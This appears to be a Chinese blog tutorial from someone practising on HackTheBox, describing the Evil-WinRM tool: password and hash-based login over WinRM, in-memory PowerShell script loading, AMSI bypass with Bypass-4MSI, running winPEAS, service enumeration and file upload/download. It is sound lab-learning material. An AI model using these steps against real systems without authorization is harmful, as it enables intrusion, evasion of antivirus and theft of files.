#做htb靶场时遇到了个重要的工具记录一下。(直接搬运国外文章😃)

什么是 Evil-WinRM ❓

Evil-WinRM 是一种渗透工具,它利用 Windows 远程管理服务来获得对远程 Windows 系统的未经授权的访问。

它利用 WinRM 服务中存在的弱配置在目标 Windows 计算机上建立远程 shell 会话,从而允许攻击者执行管理任务并运行脚本。

由于 Linux 默认情况下未安装 PowerShell,因此我们将使用一个名为 Evil-WinRM 的工具,该工具是为这种情况而设计的。

如何使用 Evil-WinRM 💡

仅当远程目标系统中启用了 WinRM 服务时,才能使用 Evil-WinRM 工具。这可以通过使用 nmap 检查两个默认 winrm 服务端口 5985 和 5986 是否打开来确认。

使用纯文本或哈希值登陆。

纯文本密码登陆:

evil-winrm -i <ip_address> -u <username> -p <password>

哈希值密码登陆:

evil-winrm -i <ip_address> -u <username> -H <Hash_Value>

输入menu查看evil-winrm提供的所有功能

加载 Powershell 脚本

evil-winrm 的功能之一是它允许我们使用基础计算机上的脚本。我们可以使用 -s 选项以及存储在主机中的脚本文件的路径将脚本直接加载到内存中。

evil-winrm -i <ip_address> -u <username> -p <password> -s <path_of_script>

它还具有默认情况下称为 Windows Defender 的 AMSI(反恶意软件扫描接口)功能,我们需要在导入任何脚本之前绕过该功能,以免被阻止。

首先,我们绕过 AMSI 并输入脚本名称。然后输入菜单并检查加载的功能。

Bypass-4MSI
PowerView.ps1 (the script name)
menu

使用evil-winrm存储日志

在获取远程会话后执行任务时,我们可以将日志保存到我们的基本系统中。这些日志可用作跟踪我们执行的任务的参考。这可以使用 -l 选项来完成。

此选项可用于任何 evil-winrm 远程会话,您只需添加 -l 选项即可将日志保存到主机的 /root/evil-winrm-logs 目录

evil-winrm -i <ip_address> -u <username> -p <password> -l

我在这里使用了 ipconfig 和 whoami 命令。

日志文件将包含日志的创建日期和时间。

使用 Evil-winrm 运行可执行文件

Evil-winrm 允许我们在 powershell 会话中运行可执行文件。我们将使用 -e 选项来使用 exe 可执行二进制文件。我们应该在-e选项之后指定可执行文件的路径。

在这里,我正在执行存储在主机中的 winPEASx64.exe 可执行文件。并使用 evil-winrm 菜单中的 Invoke-Binary 运行它。

在运行可执行文件之前,请确保您已绕过 AMSI。

此功能将执行在命令行 shell 中运行的任何 exe 二进制文件。

evil-winrm -i <ip_address> -u <username> -p <password> -e <path_of_executable>

Bypass-4MSI
menu

Invoke-Binary <the path and exe file name>
Invoke-Binary /opt/privsc/winPEASx64.exe

WinPEASx64.exe用于Windows权限提升和审核。我们可以使用它来识别目标机器可能存在的漏洞。它还生成一份详细的报告,总结发现的漏洞和弱点。

使用它我们可以获得有关目标系统的大量信息。

系统基本信息:

用户环境信息:

用户信息:

还有许多更重要的东西……

服务枚举

后期利用工具有时可能无法检测到目标系统中运行的服务名称,因此,我们可以使用evil-winrm来查找目标系统中运行的服务。

为此,请转到菜单并使用服务功能。它将列出受感染的目标系统中运行的所有服务

使用evil-winrm进行文件传输

我们可以将文件从基本系统传输到目标系统。这对于执行枚举非常有用,只需使用上传命令和文件名即可将其上传到目标系统。

在这里,我将一个名为 root.txt 的文件从基本系统的 root 用户主目录上传到目标系统的文档文件夹。

upload /root/root.txt 

您可以使用 ls 命令进行验证。

现在可以在目标系统的文档文件夹中看到该文件。

同样,我们也可以使用下载命令以及文件名并指定要下载文件的路径,将文件从目标系统下载到主机。

download sample.txt /home/ruth/sample.txt

在这里,我首先更改了桌面路径并列出了那里存在的文件,然后下载了文本文件。